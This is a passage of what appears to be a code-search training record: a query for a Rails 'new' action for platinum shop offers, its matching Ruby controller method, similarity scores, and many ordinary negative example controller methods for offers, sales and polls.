Offer.all\n end", "def offers\n return nil unless have_key?\n url = \"/v1/offers\"\n #Hashie::Mash.new(\n self.class.post(url, :headers => headers_for(url)).parsed_response\n end", "def show\n @breadcrumb = 'read'\n @sale_offer = SaleOffer.find(params[:id])\n @items = @sale_offer.sale_offer_items.paginate(:page => params[:page], :per_page => per_page).order('id')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sale_offer }\n end\n end", "def list\n offers = []\n if params[:product_id]\n product = Product.find(params[:product_id])\n if product && (product.sold_status != Product.SOLD_SOLD || params[:allow_sold])\n if product.user.id == @current_user.id && params[:include_offers_made_by_other_users] == \"true\"\n product.offers.each do |offer|\n offers << {\n offer_id: offer.id,\n product: {\n user: {\n user_id: product.user.id\n },\n thumbnail: product.thumbnail,\n product_id: product.id,\n product_name: product.product_name,\n product_price: product.price\n },\n product_name: product.product_name,\n user: {\n user_id: offer.user.id,\n\t\t\t\t username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n end\n elsif product.user.id != @current_user.id && params[:include_offers_made_by_current_user] == \"true\"\n offer = Offer.find_by(product_id: product.id, user_id: @current_user.id)\n if offer\n offers << {\n offer_id: offer.id,\n product: {\n user: {\n user_id: product.user.id,\n\t\t\t\t username: product.user.username\n },\n thumbnail: product.thumbnail,\n product_id: product.id,\n product_name: product.product_name,\n product_price: product.price\n },\n product_name: product.product_name,\n user: {\n user_id: offer.user.id,\n\t\t\t\t username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n end\n end\n else\n render status: 404, json: {error: true}\n end\n else\n if params[:include_offers_made_by_current_user] == \"true\"\n @current_user.offers.each do |offer|\n if (offer.product.sold_status != Product.SOLD_SOLD || params[:allow_sold])\n offers << {\n offer_id: offer.id,\n product: {\n user: {\n user_id: offer.product.user.id,\n\t\t\t\t username: offer.product.user.username\n },\n thumbnail: offer.product.thumbnail,\n product_id: offer.product.id,\n product_name: offer.product.product_name,\n product_price: offer.product.price\n },\n product_name: offer.product.product_name,\n user: {\n user_id: offer.user.id,\n\t\t\t\t username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n end\n end\n end\n if params[:include_offers_made_by_other_users] == \"true\"\n @current_user.products.each do |product|\n if (product.sold_status != Product.SOLD_SOLD || params[:allow_sold])\n product.offers.each do |offer|\n offers << {\n offer_id: offer.id,\n product: {\n user: {\n user_id: product.user.id,\n username: product.user.username\n },\n thumbnail: product.thumbnail,\n product_id: product.id,\n product_name: product.product_name,\n product_price: product.price\n },\n product_name: product.product_name,\n user: {\n user_id: offer.user.id,\n\t\t\t\t username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n end\n end\n end\n end\n end\n render status: 200, json: {offers: offers}\n end", "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def show\n @ms_offer = MsOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ms_offer }\n end\n end", "def offers; global.offers end", "def new\n @offer = Offer.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @shop_bonus_offer = Shop::BonusOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_bonus_offer }\n end\n end", "def special_offer(special_offer, options = {})\n get(\"special_offers/#{special_offer}\", options).pop\n end", "def show\n @breadcrumb = 'read'\n @offer = Offer.find(params[:id])\n @items = @offer.offer_items.paginate(:page => params[:page], :per_page => per_page).order('id')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "def index\n @floor_plans = @product.floor_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floor_plans }\n end\n end", "def index\n @accepted_offers = AcceptedOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @accepted_offers }\n end\n end", "def show\n @public_offer = PublicOffer.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @public_offer }\n end\n end", "def new\n @ms_offer = MsOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ms_offer }\n end\n end", "def index\n @site_plans = @product.site_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_plans }\n end\n end", "def show\n offer = Offer.find params[:id]\n @offer = render_to_string partial: 'offers/offer.json', locals: { offer: offer }\n respond_to do |format|\n format.html { render layout: false }\n end\n end", "def show\n @offer = Offer.find(params[:id])\n @offer_quizzes = @offer.quizzes\n @offer_packages = @offer.packages\n @quizzes = Quiz.excluding(@offer.quizzes)\n @packages = Package.excluding(@offer.packages)\n @offer_users = @offer.offer_users\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "def create\n @shop_platinum_offer = Shop::PlatinumOffer.new(params[:shop_platinum_offer])\n\n respond_to do |format|\n if @shop_platinum_offer.save\n format.html { redirect_to @shop_platinum_offer, notice: 'Platinum offer was successfully created.' }\n format.json { render json: @shop_platinum_offer, status: :created, location: @shop_platinum_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_platinum_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def offer_page(page = 1)\n #get all offers\n if page == 1 && has_first_page_of_full_offers\n self.offers \n else\n products = self.class.find(:item_id => self.asin, \n :response_group => \"OfferListings\",\n :merchant_id => \"All\",\n :condition => \"All\",\n :offer_page => page)\n\n if products\n product = products[0] \n self.offer_pages = self.class.offer_pages_for(product)\n product.offers\n else\n []\n end\n end\n end", "def show\n @shop_special_offers_transaction = Shop::SpecialOffersTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_special_offers_transaction }\n end\n end", "def read\n offer = Offer.find(params[:id])\n if offer\n if @current_user.id == offer.user.id || @current_user.id == offer.product.user.id\n render status: 200, json: {\n offer_id: offer.id,\n product: {\n product_id: offer.product.id,\n product_name: offer.product.product_name,\n product_type: offer.product.product_type,\n product_sold_status: offer.product.sold_status,\n price: offer.product.price,\n description: offer.product.description,\n thumbnail: offer.product.thumbnail,\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n else\n render status: 472, json: {error: true}\n end\n else\n render status: 404, json: {error: true}\n end\n end", "def index\n @shop_special_offers_transactions = Shop::SpecialOffersTransaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_special_offers_transactions }\n end\n end", "def show\n @offer = Offer.find(params[:id])\n \n @venue_name= Venue.find(@offer.venue_id).venue_name\n @offer_opinions = @offer.opinions\n if @offer_opinions.first\n @offer_opinions = Opinion.all_offer_opinions(@offer.id)\n #@offer_opinions = @offer_opinions.joins('LEFT OUTER JOIN users ON users.id = opinions.user_id').select('title, description, points, username')\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @offer = Offer.new\n @user = current_user\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @shop_special_offers_transaction = Shop::SpecialOffersTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_special_offers_transaction }\n end\n end", "def index\n @shop_bonus_offers = Shop::BonusOffer.order('resource_id asc, currency asc, price asc')\n \n respond_to do |format|\n format.html # index.html.erb\n format.json do\n @shop_bonus_offers.each do |offer|\n offer[:resource_effect] = offer.effect_for_character(current_character) \n end\n \n render json: @shop_bonus_offers\n end\n end\n end", "def show\n @shop_fb_credit_offer = Shop::FbCreditOffer.find(params[:id])\n\n @prices = []\n\n JSON.parse(@shop_fb_credit_offer.prices).each do |o|\n @prices << o\n end\n\n respond_to do |format|\n format.html { render layout: 'empty' }\n format.json { render json: @shop_fb_credit_offer }\n end\n end", "def show\n render json: @pricing\n end", "def show\n @job_offer = JobOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_offer }\n end\n end", "def index\n @pe_exchange_products = PeExchangeProduct.all.page(params[:page]).per(params[:per_page])\n respond_to do |format|\n format.html\n format.json { render json:\n list_json(@pe_exchange_products, :include => [:pe_product])\n }\n end\n end", "def index\n @power_supplies = PowerSupply.all.to_a\n render(json: @power_supplies.map do |power_supply|\n setup_power_supply_properties power_supply\n power_supply.properties\n end)\n end", "def getOffers\n if current_contractor || current_user\n offers_per_post = Offer.where(post_id: params[:post_id])\n @offers = offers_per_post.order(created_at: :asc).limit(10)\n\n render json: @offers.as_json(include: [{contractor: { methods: [:avatar_url] }}, :post,])\n end\n end", "def show\n @product_lot = ProductLot.find(params[:id])\n render json: @product_lot, root: false\n end", "def won_offers(options={})\n won_status.offers.all(options)\n end", "def index\n @category_offers = CategoryOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @category_offers }\n end\n end", "def new\n @offering = Offering.new\n @resources = Resource.find_all_by_user_id current_user.id\n @select = []\n @resources.each do |resource|\n addresses = Address.find_all_by_id resource.address_id\n addresses.each do |address|\n @select << [address.street + \", \" + address.number.to_s + \" - \" + resource.place, resource.id]\n end\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offering }\n end\n end", "def new\n @breadcrumb = 'create'\n @sale_offer = SaleOffer.new\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @clients = clients_dropdown\n @payment_methods = payment_methods_dropdown\n @status = sale_offer_statuses_dropdown\n # @products = products_dropdown\n @contracting_requests = contracting_requests_dropdown\n @approval = 'false'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale_offer }\n end\n end", "def offer\n @offer ||= params[:id].present? ? Offer.find(params[:id]) : Offer.find_by(listing_id: params[:listing_id])\n end", "def show\n @offer = Offer.find(params[:id])\n checkaccountobject(\"offers\",@offer)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "def show\n @accepted_offer = AcceptedOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @accepted_offer }\n end\n end", "def show\n @online_store = OnlineStore.find(params[:id])\n @products = @online_store.products\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @online_store }\n end\n end", "def show\n \n @offering = Offering.find_by_id(params[:id])\n @resource = Resource.find @offering.resource_id\n @question = Question.new\n @negociation = Negociation.new\n @questions = @offering.questions\n @event = Event.find @offering.event_id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offering }\n end\n end", "def new\n @offer = Offer.new\n if can? :manage, @offer\n @venue_names = current_user.venues.pluck(:venue_name)\n #@venue_names = current_user.venues.select('venues.id, venue_name')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n else\n redirect_to offers_path\n end\n end", "def index\n @help_offers = @job_request.help_offers\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @help_offers }\n end\n end", "def index\n @base_offer = BaseOffer.new\n @base_offers = BaseOffer.all\n end", "def index\n @offers = Offer.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers.to_json, :callback => params[:callback] }\n end\n end", "def show\n @product_offer = ProductOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_offer }\n end\n end", "def show\n render json: @email_price_list\n end", "def show\n @supplies_providers_loan = SuppliesProvidersLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @supplies_providers_loan }\n end\n end", "def show\n @poll_options_set = PollOptionsSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poll_options_set }\n end\n end", "def show\n @poll = Poll.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poll }\n end\n end", "def index\n if params[:event_id].blank?\n @offerings = Offering.all\n else\n @offerings = Offering.find_all_by_event_id params[:event_id]\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offerings }\n end\n end", "def index\n @project_offers = Project::Offer.all\n end", "def show\n @ecommerceplan = Ecommerceplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ecommerceplan }\n end\n end", "def show\n json_response(@api_v1_product)\n end", "def show \n # @offer = Offer.find(params[:id])\nend", "def show\n @supplies_loan = SuppliesLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @supplies_loan }\n end\n end", "def new\n @job_offer = JobOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_offer }\n end\n end", "def new\n @stationeryrequest = Stationeryrequest.new\n # получить список предметов на складе\n @hotelsupplies = Hotelsupply.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stationeryrequest }\n end\n end", "def show\n if @power_supply.nil?\n head :not_found\n else\n render json: @power_supply.properties\n end\n end", "def show\n @clientsOffers = ClientsOffers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientsOffers }\n end\n end", "def index\n @offer_codes = OfferCode.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offer_codes }\n end\n end", "def create\n @offer = Offer.new(offers_params)\n\n respond_to do |format|\n if @offer.save\n format.jsonapi { render jsonapi: @offer, status: :created }\n else\n format.jsonapi { render jsonapi: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @offer_customer = OfferCustomer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer_customer }\n end\n end", "def index\n @offers = Offer.search_offers(params[:keyword],\n params[:pick_up_point], params[:drop_off_point],\n params[:vancancy_lower_limit], params[:vancancy_upper_limit],\n params[:cost_lower_limit], params[:cost_upper_limit])\n end", "def index\n @supplysites = Supplysite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @supplysites }\n end\n end", "def new\n @accepted_offer = AcceptedOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @accepted_offer }\n end\n end" ]
[ "0.7837212", "0.7251988", "0.7099386", "0.68409514", "0.6757134", "0.66884965", "0.66884965", "0.667892", "0.6657214", "0.66472495", "0.6643095", "0.6637887", "0.6633428", "0.6598035", "0.65695417", "0.6561095", "0.6525387", "0.652302", "0.6510229", "0.65042406", "0.6479908", "0.6452206", "0.6451725", "0.6377446", "0.6375069", "0.6373915", "0.6368604", "0.6365142", "0.6365142", "0.6365142", "0.6365142", "0.63587964", "0.63423836", "0.6338447", "0.6337764", "0.6337764", "0.6337764", "0.6328644", "0.63197523", "0.62975216", "0.6294661", "0.6285258", "0.6281409", "0.62799394", "0.62376344", "0.6223434", "0.62054694", "0.6126775", "0.61051506", "0.61000514", "0.608406", "0.60666734", "0.6063089", "0.6056915", "0.603681", "0.60280263", "0.6022675", "0.6022457", "0.60194874", "0.6015139", "0.60127836", "0.6008003", "0.5997813", "0.5962587", "0.59362715", "0.59320366", "0.59320325", "0.59230655", "0.59207284", "0.5904144", "0.59025437", "0.59013575", "0.5874982", "0.58640486", "0.5862388", "0.586111", "0.58600414", "0.58592653", "0.58482915", "0.58452165", "0.5837843", "0.583336", "0.5831787", "0.5830244", "0.5819055", "0.5818193", "0.5813006", "0.58097404", "0.57988447", "0.5796206", "0.57938874", "0.5793622", "0.57746464", "0.57687044", "0.57670534", "0.5761558", "0.5752606", "0.5750676", "0.57484466", "0.574495" ]
0.75583184
1
GET /shop/platinum_offers/new GET /shop/platinum_offers/new.json
def new @shop_platinum_offer = Shop::PlatinumOffer.new respond_to do |format| format.html # new.html.erb format.json { render json: @shop_platinum_offer } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @offer = Offer.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @offers = Offer.all\n @price = Price.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @price }\n end\n end", "def new\n @shop_special_offer = Shop::SpecialOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_special_offer }\n end\n end", "def new\n @breadcrumb = 'create'\n @sale_offer = SaleOffer.new\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @clients = clients_dropdown\n @payment_methods = payment_methods_dropdown\n @status = sale_offer_statuses_dropdown\n # @products = products_dropdown\n @contracting_requests = contracting_requests_dropdown\n @approval = 'false'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale_offer }\n end\n end", "def create\n @shop_platinum_offer = Shop::PlatinumOffer.new(params[:shop_platinum_offer])\n\n respond_to do |format|\n if @shop_platinum_offer.save\n format.html { redirect_to @shop_platinum_offer, notice: 'Platinum offer was successfully created.' }\n format.json { render json: @shop_platinum_offer, status: :created, location: @shop_platinum_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_platinum_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @shop_resource_offer = Shop::ResourceOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_resource_offer }\n end\n end", "def new\n @shop_bonus_offer = Shop::BonusOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_bonus_offer }\n end\n end", "def new\n @ms_offer = MsOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ms_offer }\n end\n end", "def new\n @offer = Offer.new\n @user = current_user\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @breadcrumb = 'create'\n @offer = Offer.new\n $attachment_changed = false\n $attachment = Attachment.new\n destroy_attachment\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @suppliers = suppliers_dropdown\n @offer_requests = offer_requests_dropdown\n @payment_methods = payment_methods_dropdown\n # @products = products_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll }\n end\n end", "def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll }\n end\n end", "def new\n @shop_special_offers_transaction = Shop::SpecialOffersTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_special_offers_transaction }\n end\n end", "def new\n @job_offer = JobOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_offer }\n end\n end", "def new\n @supplysite = Supplysite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplysite }\n end\n end", "def new\n @supplies_loan = SuppliesLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplies_loan }\n end\n end", "def new\n @offer_customer = OfferCustomer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer_customer }\n end\n end", "def new\n @accepted_offer = AcceptedOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @accepted_offer }\n end\n end", "def new\n @ecommerceplan = Ecommerceplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @ecommerceplan }\n end\n end", "def create\n @shop_special_offer = Shop::SpecialOffer.new(params[:shop_special_offer])\n\n respond_to do |format|\n if @shop_special_offer.save\n format.html { redirect_to @shop_special_offer, notice: 'Special offer was successfully created.' }\n format.json { render json: @shop_special_offer, status: :created, location: @shop_special_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_special_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @pickup = Pickup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pickup }\n end\n end", "def newOffer()\n @offer_operation = :create\n end", "def new\n @stationeryrequest = Stationeryrequest.new\n # получить список предметов на складе\n @hotelsupplies = Hotelsupply.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stationeryrequest }\n end\n end", "def new\n @supplies_providers_loan = SuppliesProvidersLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplies_providers_loan }\n end\n end", "def new\n @vessel = Vessel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vessel }\n end\n end", "def new\n @pto = Pto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pto }\n end\n end", "def new\n @offering = Offering.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @offering }\n end\n end", "def new\n @sell = Sell.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sell }\n end\n end", "def new\n @info_polen = InfoPolen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @info_polen }\n end\n end", "def new\n @info_polen = InfoPolen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @info_polen }\n end\n end", "def new\n @pinglun = Pinglun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pinglun }\n end\n end", "def new\n @lunchplan = Lunchplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lunchplan }\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to admin_offers_path,\n notice: 'Offer was successfully created.' }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors,\n status: :unprocessable_entity }\n end\n end\n end", "def new\n @planets_exoplanet = Planets::Exoplanet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @planets_exoplanet }\n end\n end", "def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n if @offer.save\n render json: @offer, status: :created, location: @offer\n else\n render json: @offer.errors, status: :unprocessable_entity\n end\n end", "def new\n @lot = Lot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lot }\n end\n end", "def new\n @spot_listing = SpotListing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spot_listing }\n end\n end", "def new\n @lift = Lift.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lift }\n end\n end", "def new\n @potluck = Potluck.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @potluck }\n end\n end", "def new\n @papel = Papel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @papel }\n end\n end", "def new\n @parking_spot = ParkingSpot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @parking_spot }\n end\n end", "def create\n @breadcrumb = 'create'\n @sale_offer = SaleOffer.new(params[:sale_offer])\n @sale_offer.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @sale_offer.save\n format.html { redirect_to @sale_offer, notice: crud_notice('created', @sale_offer) }\n format.json { render json: @sale_offer, status: :created, location: @sale_offer }\n else\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @clients = clients_dropdown\n @payment_methods = payment_methods_dropdown\n @status = sale_offer_statuses_dropdown\n # @products = products_dropdown\n @contracting_requests = contracting_requests_dropdown\n @approval = 'false'\n format.html { render action: \"new\" }\n format.json { render json: @sale_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @sale = Sale.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale }\n end\n end", "def new\n @sale = Sale.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale }\n end\n end", "def new\n @sale = Sale.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale }\n end\n end", "def new\n @clientsOffers = ClientsOffers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clientsOffers }\n end\n end", "def create\n @special_offer = SpecialOffer.new(special_offer_params)\n\n respond_to do |format|\n if @special_offer.save\n format.html { redirect_to @special_offer, notice: 'Special offer was successfully created.' }\n format.json { render :show, status: :created, location: @special_offer }\n else\n format.html { render :new }\n format.json { render json: @special_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @pot = Pot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pot }\n end\n end", "def create\n @offer = Offer.new(offers_params)\n\n respond_to do |format|\n if @offer.save\n format.jsonapi { render jsonapi: @offer, status: :created }\n else\n format.jsonapi { render jsonapi: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @category_offer = CategoryOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category_offer }\n end\n end", "def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @po }\n end\n end", "def new\n @provider = current_company.providers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def create\n @shop_bonus_offer = Shop::BonusOffer.new(params[:shop_bonus_offer])\n\n respond_to do |format|\n if @shop_bonus_offer.save\n format.html { redirect_to @shop_bonus_offer, notice: 'Bonus offer was successfully created.' }\n format.json { render json: @shop_bonus_offer, status: :created, location: @shop_bonus_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_bonus_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @planner = Planner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planner }\n end\n end", "def new\n @optinpartner = Optinpartner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @optinpartner }\n end\n end", "def new\n @poll_options_set = PollOptionsSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll_options_set }\n end\n end", "def new\n @spot = Spot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spot }\n end\n end", "def new\n @spot = Spot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spot }\n end\n end", "def new\n @peso = Peso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @peso }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @offer_code = OfferCode.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer_code}\n end\n end", "def new\n @price = Price.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @price }\n end\n end", "def new\n @quick_poll_option = QuickPollOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quick_poll_option }\n end\n end", "def new\n @essay = Essay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @essay }\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to @offer, notice: 'Offer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @offer }\n else\n format.html { render action: 'new' }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @pwidget = Pwidget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pwidget }\n end\n end", "def new\n @poll = Poll.new\n @poll.poll_options = PollOptions.new\n @title = \"Create a new poll\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poll }\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.jsonapi { render :show, status: :created, location: @offer }\n else\n format.jsonapi { render jsonapi: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @poopstation = Poopstation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poopstation }\n format.mobile\n end\n end", "def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end", "def new\n @tool = Tool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool }\n end\n end", "def new\n @backend_planet = Backend::Planet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @backend_planet }\n end\n end", "def new\n @collection_point = CollectionPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collection_point }\n end\n end", "def new\n @provider = Provider.new\n @provider.build_address\n 